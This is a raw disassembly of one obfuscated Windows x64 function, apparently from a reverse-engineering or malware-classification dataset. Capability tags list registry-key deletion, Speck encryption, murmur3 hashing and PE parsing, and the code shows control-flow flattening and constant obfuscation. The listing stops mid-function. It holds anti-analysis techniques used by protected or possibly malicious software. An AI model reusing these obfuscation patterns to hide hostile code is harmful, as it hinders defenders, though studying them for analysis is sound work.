Function at 0x1400f3bc6
Capabilities:
Delete registry key
Encrypt data using speck
Hash data using murmur3
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xa0db7160
pushf
not eax
add eax, 0xcd63bc1f
xor eax, 0xb1a9cc7a
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xcb5024ae
xor eax, 0xf937b864
rol eax, 0x3b
popf
cmp eax, 0x29
jne 0x1400f3c03
popf
pop rax
jmp 0x1400f6671
cmp eax, 0
jne 0x1400f3c12
popf
pop rax
jmp 0x1400f3ed3
cmp eax, 3
jne 0x1400f3c21
popf
pop rax
jmp 0x1400f4a02
cmp eax, 1
jne 0x1400f3c30
popf
pop rax
jmp 0x1400f4891
cmp eax, 0xd
jne 0x1400f3c3f
popf
pop rax
jmp 0x1400f5058
cmp eax, 0x1a
jne 0x1400f3c4e
popf
pop rax
jmp 0x1400f5819
cmp eax, 0xe
jne 0x1400f3c5d
popf
pop rax
jmp 0x1400f50ef
cmp eax, 0xb
jne 0x1400f3c6c
popf
pop rax
jmp 0x1400f4faf
cmp eax, 0x19
jne 0x1400f3c7b
popf
pop rax
jmp 0x1400f578d
cmp eax, 8
jne 0x1400f3c8a
popf
pop rax
jmp 0x1400f4dd6
cmp eax, 0x2a
jne 0x1400f3c99
popf
pop rax
jmp 0x1400f6707
cmp eax, 0x17
jne 0x1400f3ca8
popf
pop rax
jmp 0x1400f56c1
cmp eax, 0x1c
jne 0x1400f3cb7
popf
pop rax
jmp 0x1400f5939
cmp eax, 0x2e
jne 0x1400f3cc6
popf
pop rax
jmp 0x1400f68f8
cmp eax, 0x18
jne 0x1400f3cd5
popf
pop rax
jmp 0x1400f5729
cmp eax, 0x2b
jne 0x1400f3ce4
popf
pop rax
jmp 0x1400f67ab
cmp eax, 0x1b
jne 0x1400f3cf3
popf
pop rax
jmp 0x1400f589d
cmp eax, 0x2d
jne 0x1400f3d02
popf
pop rax
jmp 0x1400f68ad
cmp eax, 0x23
jne 0x1400f3d11
popf
pop rax
jmp 0x1400f633c
cmp eax, 0x25
jne 0x1400f3d20
popf
pop rax
jmp 0x1400f646b
cmp eax, 0xf
jne 0x1400f3d2f
popf
pop rax
jmp 0x1400f5165
cmp eax, 0x13
jne 0x1400f3d3e
popf
pop rax
jmp 0x1400f5420
cmp eax, 0x15
jne 0x1400f3d4d
popf
pop rax
jmp 0x1400f5569
cmp eax, 0x24
jne 0x1400f3d5c
popf
pop rax
jmp 0x1400f6398
cmp eax, 0x1e
jne 0x1400f3d6b
popf
pop rax
jmp 0x1400f5a28
cmp eax, 0xc
jne 0x1400f3d7a
popf
pop rax
jmp 0x1400f4ff4
cmp eax, 0x26
jne 0x1400f3d89
popf
pop rax
jmp 0x1400f64fd
cmp eax, 0x27
jne 0x1400f3d98
popf
pop rax
jmp 0x1400f65c5
cmp eax, 0x30
jne 0x1400f3da7
popf
pop rax
jmp 0x1400f69bc
cmp eax, 0x10
jne 0x1400f3db6
popf
pop rax
jmp 0x1400f5209
cmp eax, 0x2c
jne 0x1400f3dc5
popf
pop rax
jmp 0x1400f6873
cmp eax, 9
jne 0x1400f3dd4
popf
pop rax
jmp 0x1400f4e57
cmp eax, 4
jne 0x1400f3de3
popf
pop rax
jmp 0x1400f4a98
cmp eax, 0x16
jne 0x1400f3df2
popf
pop rax
jmp 0x1400f5621
cmp eax, 0x28
jne 0x1400f3e01
popf
pop rax
jmp 0x1400f6625
cmp eax, 0xa
jne 0x1400f3e10
popf
pop rax
jmp 0x1400f4efd
cmp eax, 0x22
jne 0x1400f3e1f
popf
pop rax
jmp 0x1400f62bc
cmp eax, 0x14
jne 0x1400f3e2e
popf
pop rax
jmp 0x1400f54bf
cmp eax, 7
jne 0x1400f3e3d
popf
pop rax
jmp 0x1400f4d4a
cmp eax, 5
jne 0x1400f3e4c
popf
pop rax
jmp 0x1400f4af4
cmp eax, 2
jne 0x1400f3e5b
popf
pop rax
jmp 0x1400f4913
cmp eax, 0x20
jne 0x1400f3e6a
popf
pop rax
jmp 0x1400f610f
cmp eax, 0x1d
jne 0x1400f3e79
popf
pop rax
jmp 0x1400f59ee
cmp eax, 0x11
jne 0x1400f3e88
popf
pop rax
jmp 0x1400f5244
cmp eax, 6
jne 0x1400f3e97
popf
pop rax
jmp 0x1400f4cee
cmp eax, 0x2f
jne 0x1400f3ea6
popf
pop rax
jmp 0x1400f695d
cmp eax, 0x12
jne 0x1400f3eb5
popf
pop rax
jmp 0x1400f5380
cmp eax, 0x21
jne 0x1400f3ec4
popf
pop rax
jmp 0x1400f61cb
cmp eax, 0x1f
jne 0x1400f3ed3
popf
pop rax
jmp 0x1400f5a76
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140092080]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov r14, rdx
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movabs rax, 0xe9f2bbff2da6bf3
pushf
not rax
add rax, 0x5e86d48b
xor rax, 0x5fc11d39
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x660e8c78
xor rax, 0x6770089c
rol rax, 0xfd
popf
mov qword [rbp - 0x50], rax
movabs rax, 0x6547188a38c43dcf
pushf
not rax
add rax, 0x43fb708d
xor rax, 0x5284448f
rol rax, 0xc7
popf
pushf
not rax
add rax, 0x61074093
xor rax, 0x555424c6
rol rax, 0xd9
popf
mov qword [rbp - 0x48], rax
movabs rax, 0x6327456ec0d43bd8
pushf
not rax
add rax, 0x785113be
xor rax, 0x5c631e8b
rol rax, 0xd7
popf
pushf
not rax
add rax, 0x6059c10d
xor rax, 0x57604ce1
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x6575af68
xor rax, 0x5fce14b1
rol rax, 0x78
popf
mov qword [rbp - 0x40], rax
movabs rax, 0xc1b4ddc568f567d6
pushf
not rax
add rax, 0x656fde4e
xor rax, 0x596b3778
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x59be7b78
xor rax, 0x7a48c637
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x4568c56c
xor rax, 0x6afa59b8
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x58e77e5f
xor rax, 0x4ddc4b7a
rol rax, 0xd0
popf
mov qword [rbp - 0x38], rax
movabs rax, 0xd6868232d6e55e20
pushf
not rax
add rax, 0x64bd7957
xor rax, 0x4726ceba
rol rax, 0x50
popf
pushf
not rax
add rax, 0x77025072
xor rax, 0x7a017276
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x710610c5
xor rax, 0x550518ab
rol rax, 0x95
popf
mov qword [rbp - 0x30], rax
movabs rax, 0x8735d99b440edaa
pushf
not rax
add rax, 0x4e7f9aee
xor rax, 0x4ebd814d
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x472df5a8
xor rax, 0x4763d14c
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x48b5fee6
xor rax, 0x6e96833d
rol rax, 0x41
popf
pushf
not rax
add rax, 0x5ea39044
xor rax, 0x780a3723
rol rax, 0x55
popf
mov qword [rbp - 0x28], rax
movabs rax, 0xfc769a502772b1a8
pushf
not rax
add rax, 0x6a866fa8
xor rax, 0x5322c5e4
rol rax, 0x81
popf
pushf
not rax
add rax, 0x6745e6fe
xor rax, 0x55b708e2
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x58ddd44a
xor rax, 0x43e528bd
rol rax, 0x50
popf
pushf
not rax
add rax, 0x77d128c1
xor rax, 0x424cdb3b
rol rax, 0x68
popf
mov qword [rbp - 0x20], rax
movabs rax, 0x47188f977bd69a47
pushf
not rax
add rax, 0x7d0835f6
xor rax, 0x79ed1ecb
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x4db11702
xor rax, 0x4bec1c80
rol rax, 0x71
popf
pushf
not rax
add rax, 0x7a2072df
xor rax, 0x41b09e07
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x7096b074
xor rax, 0x728e8d74
rol rax, 0xd8
popf
mov qword [rbp - 0x18], rax
movabs rax, 0xd3d712e5aaee0671
pushf
not rax
add rax, 0x634a8f56
xor rax, 0x404d72fa
rol rax, 2
popf
pushf
not rax
add rax, 0x5fb59c44
xor rax, 0x49fbda57
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x5c54818e
xor rax, 0x6be57b0b
rol rax, 0x77
popf
mov qword [rbp - 0x10], rax
movabs rax, 0xaa8ac4f1d160d254
pushf
not rax
add rax, 0x78d65c7e
xor rax, 0x56744c63
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x620d0d70
xor rax, 0x4d6187a0
rol rax, 0xa
popf
pushf
not rax
add rax, 0x5ac5bb14
xor rax, 0x7d7f461a
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x64c7622d
xor rax, 0x5715e660
rol rax, 0xd
popf
mov qword [rbp - 8], rax
movabs rax, 0xf3ab9c2bef3912ab
pushf
not rax
add rax, 0x4ffb44ac
xor rax, 0x62478620
rol rax, 0x89
popf
pushf
not rax
add rax, 0x7fafd2f0
xor rax, 0x534626ca
rol rax, 0x17
popf
pushf
not rax
add rax, 0x7901beb9
xor rax, 0x518b5d16
rol rax, 0x42
popf
mov qword [rbp], rax
movabs rax, 0x643f4a67a82b54cb
pushf
not rax
add rax, 0x51a29632
xor rax, 0x49e5d2ce
rol rax, 0x83
popf
pushf
not rax
add rax, 0x54dd2927
xor rax, 0x7f02b276
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x59886b46
xor rax, 0x792c50bf
rol rax, 0xf4
popf
mov qword [rbp + 8], rax
movabs rax, 0x89a4de1ccdd660da
pushf
not rax
add rax, 0x4b9b843b
xor rax, 0x63329453
rol rax, 0xf7
popf
pushf
not rax
add rax, 0x573f7ce1
xor rax, 0x73fc8162
rol rax, 0x74
popf
mov qword [rbp + 0x10], rax
movabs rcx, 0xcff20f6a5d92119e
pushf
not rcx
add rcx, 0x55164990
xor rcx, 0x71c7a56a
rol rcx, 0x81
popf
pushf
not rcx
add rcx, 0x67accd95
xor rcx, 0x6d99a2bd
rol rcx, 0xa9
popf
pushf
not rcx
add rcx, 0x621d78ad
xor rcx, 0x79efc9a4
rol rcx, 0xc4
popf
pushf
not rcx
add rcx, 0x6444b60f
xor rcx, 0x7f162185
rol rcx, 0x56
popf
mov qword [rbp + 0x18], rcx
movabs rax, 0xde959ee1ce4389f0
pushf
not rax
add rax, 0x5d4d78ef
xor rax, 0x60fd4c2d
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x70f62051
xor rax, 0x7f3aa622
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x61de9e6d
xor rax, 0x5fe5b085
rol rax, 0xe5
popf
mov qword [rbp + 0x20], rax
movabs rax, 0xa88cbe72006fb85b
pushf
not rax
add rax, 0x6261a06a
xor rax, 0x6bbd2ced
rol rax, 0x49
popf
pushf
not rax
add rax, 0x62ae1c17
xor rax, 0x776e9d62
rol rax, 0x40
popf
pushf
not rax
add rax, 0x400b5bf0
xor rax, 0x7b069d85
rol rax, 0x1b
popf
mov qword [rbp + 0x28], rax
movabs rax, 0x3de90318c4cad341
pushf
not rax
add rax, 0x6afaf8a0
xor rax, 0x792c6365
rol rax, 0x78
popf
pushf
not rax
add rax, 0x7f0139a1
xor rax, 0x4cbd8196
rol rax, 0xcb
popf
mov qword [rbp + 0x30], rax
movabs rax, 0x9b54121e0de48b25
pushf
not rax
add rax, 0x5a9d09ff
xor rax, 0x4601a6f7
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x426599a8
xor rax, 0x59c8e0d1
rol rax, 0x63
popf
pushf
not rax
add rax, 0x49fb0dc5
xor rax, 0x582c959b
rol rax, 0x3b
popf
mov qword [rbp + 0x38], rax
movabs rax, 0x250133cf715fe0af
pushf
not rax
add rax, 0x575e9130
xor rax, 0x76969f4f
rol rax, 0x99
popf
pushf
not rax
add rax, 0x5a89e628
xor rax, 0x43a44c72
rol rax, 0xe2
popf
mov qword [rbp + 0x40], rax
movabs rax, 0xd4359af6c2f3394
pushf
not rax
add rax, 0x43033135
xor rax, 0x74824a6e
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x566263b4
xor rax, 0x7e66ca16
rol rax, 0x12
popf
mov qword [rbp + 0x48], rax
movabs rax, 0x58c6bab1080ed5a4
pushf
not rax
add rax, 0x4ba7a496
xor rax, 0x4014b366
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x4e7aa03c
xor rax, 0x44c9a49e
rol rax, 0x79
popf
mov qword [rbp + 0x50], rax
movabs rax, 0xf50a7d76773b8f2
pushf
not rax
add rax, 0x5f900771
xor rax, 0x429ba4b5
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x73e70911
xor rax, 0x4f8fb63a
rol rax, 0x99
popf
mov qword [rbp + 0x58], rax
movabs rax, 0xa3e77bab09b9454a
pushf
not rax
add rax, 0x71739ad6
xor rax, 0x50750386
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x413ba9f9
xor rax, 0x7bef30a2
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x607ed82c
xor rax, 0x532d3146
rol rax, 0x9d
popf
mov qword [rbp + 0x60], rax
movabs rax, 0x417ddb8d279f50cc
pushf
not rax
add rax, 0x47852284
xor rax, 0x7dcc51d8
rol rax, 0x43
popf
pushf
not rax
add rax, 0x6b4e9513
xor rax, 0x68e9d11b
rol rax, 0x75
popf
mov qword [rbp + 0x68], rax
movabs rax, 0xfd44efada6a18ea1
pushf
not rax
add rax, 0x55b19ed8
xor rax, 0x73252ea1
rol rax, 0x65
popf
pushf
not rax
add rax, 0x5415a128
xor rax, 0x52f8148e
rol rax, 0x68
popf
pushf
not rax
add rax, 0x7b68fb08
xor rax, 0x63d4255b
rol rax, 0x88
popf
pushf
not rax
add rax, 0x69e281be
xor rax, 0x48dfbf76
rol rax, 0xa
popf
mov qword [rbp + 0x70], rax
movabs rax, 0xa3c5ad22d7a47907
pushf
not rax
add rax, 0x6cf3bc8e
xor rax, 0x5e7bbf21
rol rax, 0x76
popf
pushf
not rax
add rax, 0x6aef08a4
xor rax, 0x6f32a910
rol rax, 0x52
popf
pushf
not rax
add rax, 0x5a85f3b7
xor rax, 0x44d18210
rol rax, 0xb9
popf
mov qword [rbp + 0x78], rax
movabs rax, 0x898e544b5f76770
pushf
not rax
add rax, 0x4fc50076
xor rax, 0x68360101
rol rax, 0xca
popf
pushf
not rax
add rax, 0x65905d9b
xor rax, 0x7270eaa1
rol rax, 0xae
popf
pushf
not rax
add rax, 0x6e962b9e
xor rax, 0x4af3a9ff
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x5efdebcc
xor rax, 0x70b4069f
rol rax, 0x29
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rcx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0x70]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x10], xmm0
lea rax, [rbp - 0x50]
mov rbx, 0xffffffffffffffff
mov rcx, rbx
nop dword [rax]
push rax
pushf
mov eax, 0x18b22c25
pushf
not eax
add eax, 0x90b36791
xor eax, 0x8a8ee043
rol eax, 0xca
popf
pushf
not eax
add eax, 0x9fc932cf
xor eax, 0xaf0374e2
rol eax, 0x72
popf
pushf
not eax
add eax, 0xe1300685
xor eax, 0xf1948905
rol eax, 0x92
popf
jmp 0x1400f3bf4
inc rcx
cmp word [rax + rcx*2], di
jne 0x1400f48e0
push rax
pushf
mov eax, 0xf4363c46
pushf
not eax
add eax, 0xd2e314fa
xor eax, 0xffd847ab
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x8fb9db79
xor eax, 0xb0358a3f
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xdcd46b7b
xor eax, 0xbfd77eda
rol eax, 0xeb
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x2db9fe4f
pushf
not eax
add eax, 0xc7d4dcf2
xor eax, 0x963cf05c
rol eax, 0x74
popf
pushf
not eax
add eax, 0xedb696c7
xor eax, 0xfdd5d4e4
rol eax, 0x59
popf
jmp 0x1400f3bf4
mov rdx, qword [rdx + 0x10]
movabs rax, 0x792b65b54a12198f
pushf
not rax
add rax, 0x51c78724
xor rax, 0x5b7158c6
rol rax, 7
popf
pushf
not rax
add rax, 0x598bc4c5
xor rax, 0x688ee477
rol rax, 0xda
popf
pushf
not rax
add rax, 0x5466f50b
xor rax, 0x7a4ebfa6
rol rax, 0x49
popf
pushf
not rax
add rax, 0x567f8055
xor rax, 0x66af8f1e
rol rax, 0xaf
popf
sub rax, rdx
cmp rax, rcx
jb 0x1400f49bc
push rax
pushf
mov eax, 0x609f707d
pushf
not eax
add eax, 0xdf9bbc91
xor eax, 0xff85e312
rol eax, 3
popf
pushf
not eax
add eax, 0xe20bbd90
xor eax, 0xd63e45b3
rol eax, 0xdc
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xa2587245
pushf
not eax
add eax, 0xf57cb874
xor eax, 0xb53841c8
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf3020307
xor eax, 0xc4e2224f
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x9c51a32c
xor eax, 0x9ffa86f1
rol eax, 0xae
popf
jmp 0x1400f3bf4
mov rax, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400f4a65
push rax
pushf
mov eax, 0x268cc585
pushf
not eax
add eax, 0xb0589c1b
xor eax, 0xc1be2e66
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x927ce1a8
xor eax, 0xcbd6daed
rol eax, 0x62
popf
pushf
not eax
add eax, 0xf9a77540
xor eax, 0xf2fbadc8
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xb89211d6
xor eax, 0x927378f2
rol eax, 0x74
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xac653d94
pushf
not eax
add eax, 0xfe5c840a
xor eax, 0xdc6ce613
rol eax, 0x11
popf
pushf
not eax
add eax, 0xef4d0f73
xor eax, 0xae7ff6bb
rol eax, 0xf9
popf
jmp 0x1400f3bf4
mov rax, qword [r14]
push rax
pushf
mov eax, 0x96480fc3
pushf
not eax
add eax, 0x83f4cfcc
xor eax, 0xc3eac849
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xb625ff4f
xor eax, 0xbf7c6cd2
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xa95df78c
xor eax, 0xa0b29c91
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8a26870c
xor eax, 0xdac497a8
rol eax, 0x8e
popf
jmp 0x1400f3bf4
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x50]
lea rcx, [rbp - 0x78]
call fcn.1400d5870
nop
call fcn.14012c667
mov r12, rax
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rax, qword [rbp - 0x78]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8d, 0x57a7faa4
pushf
not r8d
add r8d, 0x9c2da9c4
xor r8d, 0x8e8ef974
rol r8d, 0x3d
popf
pushf
not r8d
add r8d, 0x964d676e
xor r8d, 0xa245b507
rol r8d, 0xba
popf
pushf
not r8d
add r8d, 0x966eff56
xor r8d, 0xf7d1c62f
rol r8d, 0x2d
popf
lea rdx, [0x1b557de2e]
pushf
sub rdx, 0x754f913e
popf
lea rcx, [rsp + 0x40]
call fcn.1400faaf3
nop
call fcn.14012dd7a
lea r13, [r12 + 0x40]
mov rcx, r13
jmp 0x1400f4bba
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rsp + 0x40]
mov r15, qword [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, r15
movabs rsi, 0xf29ce47d7af1dd45
pushf
not rsi
add rsi, 0x5f739e78
xor rsi, 0x4b7d3886
rol rsi, 0xbb
popf
pushf
not rsi
add rsi, 0x7b778632
xor rsi, 0x44e6874a
rol rsi, 0x3d
popf
mov r9, rsi
mov rcx, rdi
movabs r10, 0x13834000243bcb34
pushf
not r10
add r10, 0x7dae9fd5
xor r10, 0x668ded5a
rol r10, 0x56
popf
pushf
not r10
add r10, 0x5a3dcff2
xor r10, 0x677dbf3e
rol r10, 0x75
popf
pushf
not r10
add r10, 0x7c7e2c5b
xor r10, 0x76468f1f
rol r10, 0x3f
popf
mov r8, qword [rsp + 0x50]
test r8, r8
je 0x1400f4ca8
push rax
pushf
mov eax, 0x726c521
pushf
not eax
add eax, 0xf5377064
xor eax, 0x8050fede
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd04b4ca0
xor eax, 0xbae4370f
rol eax, 0x38
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x781923b7
pushf
not eax
add eax, 0x857c52ae
xor eax, 0x9a9692c9
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xd6f4c47b
xor eax, 0x9d0070d2
rol eax, 0x58
popf
pushf
not eax
add eax, 0xe0eb8fdd
xor eax, 0x86a652b0
rol eax, 0xbe
popf
jmp 0x1400f3bf4
nop dword [rax]
push rax
pushf
mov eax, 0xb9bba993
pushf
not eax
add eax, 0xc2a9f049
xor eax, 0xfd558f59
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xee237372
xor eax, 0xe1e4c3f8
rol eax, 0x67
popf
pushf
not eax
add eax, 0x9fba3117
xor eax, 0xa30bb11c
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xb92e2098
xor eax, 0xa4631aa2
rol eax, 0x61
popf
jmp 0x1400f3bf4
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1400f4d90
push rax
pushf
mov eax, 0x25f553c
pushf
not eax
add eax, 0xacaa73c8
xor eax, 0x9f4b7caf
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x8c9ea175
xor eax, 0xed925cee
rol eax, 0x4b
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x5248bfc8
pushf
not eax
add eax, 0xfa94650e
xor eax, 0xe145bd4d
rol eax, 0x19
popf
pushf
not eax
add eax, 0x9766670e
xor eax, 0xa229e8c1
rol eax, 0x69
popf
pushf
not eax
add eax, 0xde44b5f3
xor eax, 0xe303fda9
rol eax, 0xf1
popf
jmp 0x1400f3bf4
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x68]
mov rcx, r12
call fcn.1400ef8f3
mov r8, qword [rax + 8]
test r8, r8
je 0x1400f4e24
push rax
pushf
mov eax, 0xf9dbe85d
pushf
not eax
add eax, 0x8a7db8be
xor eax, 0x9141bb24
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb7ea6ebe
xor eax, 0xb5099835
rol eax, 0x8b
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x8f188ae2
pushf
not eax
add eax, 0xe8a1f474
xor eax, 0xde040d25
rol eax, 0x65
popf
pushf
not eax
add eax, 0x968e52bf
xor eax, 0xa4e1bc2d
rol eax, 0x82
popf
jmp 0x1400f3bf4
cmp r8, qword [r12 + 8]
je 0x1400f4eb7
push rax
pushf
mov eax, 0x4e3ee9d4
pushf
not eax
add eax, 0xe89b8c14
xor eax, 0xc7e6db17
rol eax, 0x60
popf
pushf
not eax
add eax, 0xb7ccb5b2
xor eax, 0x985cad8a
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf880a63b
xor eax, 0x8171aa11
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xbfc9a31c
xor eax, 0xc1d68de9
rol eax, 0xd6
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xe209c9cd
pushf
not eax
add eax, 0xd4997acc
xor eax, 0xf2e44213
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xfeb228cc
xor eax, 0xd5606481
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xd4388d68
xor eax, 0xadcb64ad
rol eax, 0xb2
popf
jmp 0x1400f3bf4
mov r12, qword [r8 + 0x30]
mov rcx, r13
jmp 0x1400f4f05
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test r12, r12
je 0x1400f4f56
push rax
pushf
mov eax, 0xeb27fcdd
pushf
not eax
add eax, 0xea3541ae
xor eax, 0xd6c0f7cb
rol eax, 0xad
popf
pushf
not eax
add eax, 0xc677415d
xor eax, 0xdb80f1fe
rol eax, 0x44
popf
pushf
not eax
add eax, 0xc5acf582
xor eax, 0xbc7a17a5
rol eax, 4
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x569d9c5c
pushf
not eax
add eax, 0xa6bf74c4
xor eax, 0xdb88b55b
rol eax, 0x93
popf
pushf
not eax
add eax, 0xbcc1fb9a
xor eax, 0x9a87f136
rol eax, 0x98
popf
pushf
not eax
add eax, 0xe2c582aa
xor eax, 0xafddc41b
rol eax, 0x31
popf
pushf
not eax
add eax, 0xa9da79d9
xor eax, 0xd19bed97
rol eax, 0x70
popf
jmp 0x1400f3bf4
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
call r12
jmp 0x1400f5058
mov rcx, r13
jmp 0x1400f4ff8
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
push rax
pushf
mov eax, 0x9a471ae0
pushf
not eax
add eax, 0xb07f6e1a
xor eax, 0x82d64fba
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x96a04c9e
xor eax, 0x9da9beb3
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd32d11e0
xor eax, 0xc57d954d
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xed279499
xor eax, 0xe6332215
rol eax, 0x57
popf
jmp 0x1400f3bf4
mov rax, qword [rsp + 0x58]
cmp rax, 0xf
jbe 0x1400f50bc
push rax
pushf
mov eax, 0x89c9ea9c
pushf
not eax
add eax, 0xb4032801
xor eax, 0xd2dc3dc5
rol eax, 0x29
popf
pushf
not eax
add eax, 0xd24238b1
xor eax, 0xd161d111
rol eax, 6
popf
pushf
not eax
add eax, 0xba4820c7
xor eax, 0xc50b1b69
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x9c09008e
xor eax, 0xa89f1536
rol eax, 0x61
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xfcd01632
pushf
not eax
add eax, 0x9364fb4b
xor eax, 0xd2e8e545
rol eax, 7
popf
pushf
not eax
add eax, 0xd2b97c4f
xor eax, 0x94b94f8c
rol eax, 0x3b
popf
jmp 0x1400f3bf4
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400f5132
push rax
pushf
mov eax, 0xd2c63434
pushf
not eax
add eax, 0xe4404e88
xor eax, 0xfc653a85
rol eax, 0x45
popf
pushf
not eax
add eax, 0xd1dc525a
xor eax, 0xadf8377b
rol eax, 0xc1
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x1d9d937e
pushf
not eax
add eax, 0xd3571225
xor eax, 0x8a6cafb6
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb2def80c
xor eax, 0x90d6fd41
rol eax, 0xe0
popf
jmp 0x1400f3bf4
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400f51c4
push rax
pushf
mov eax, 0x860870b4
pushf
not eax
add eax, 0xd847ad27
xor eax, 0xa3e647f9
rol eax, 9
popf
pushf
not eax
add eax, 0x8eb41e45
xor eax, 0xea91e787
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xfabdbfc9
xor eax, 0x97aaf5aa
rol eax, 0x7a
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x98674683
pushf
not eax
add eax, 0xa86a0af8
xor eax, 0x80c99575
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xf5c8fea2
xor eax, 0xc53157dc
rol eax, 1
popf
pushf
not eax
add eax, 0x9fe0114e
xor eax, 0xf5bdba03
rol eax, 0x5a
popf
jmp 0x1400f3bf4
mov rcx, r15
call fcn.1400dff78
push rax
pushf
mov eax, 0x1bfa1316
pushf
not eax
add eax, 0xdb30f6e5
xor eax, 0xa685f105
rol eax, 3
popf
pushf
not eax
add eax, 0x84b4f075
xor eax, 0xb71c1e1c
rol eax, 0x56
popf
jmp 0x1400f3bf4
call fcn.14012c667
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov r8d, 0x42bdeacf
pushf
not r8d
add r8d, 0x87ac0d57
xor r8d, 0xe0012976
rol r8d, 0xdf
popf
pushf
not r8d
add r8d, 0xf2b3399d
xor r8d, 0xc03bb3a4
rol r8d, 0x64
popf
lea rdx, [0x1a73ac987]
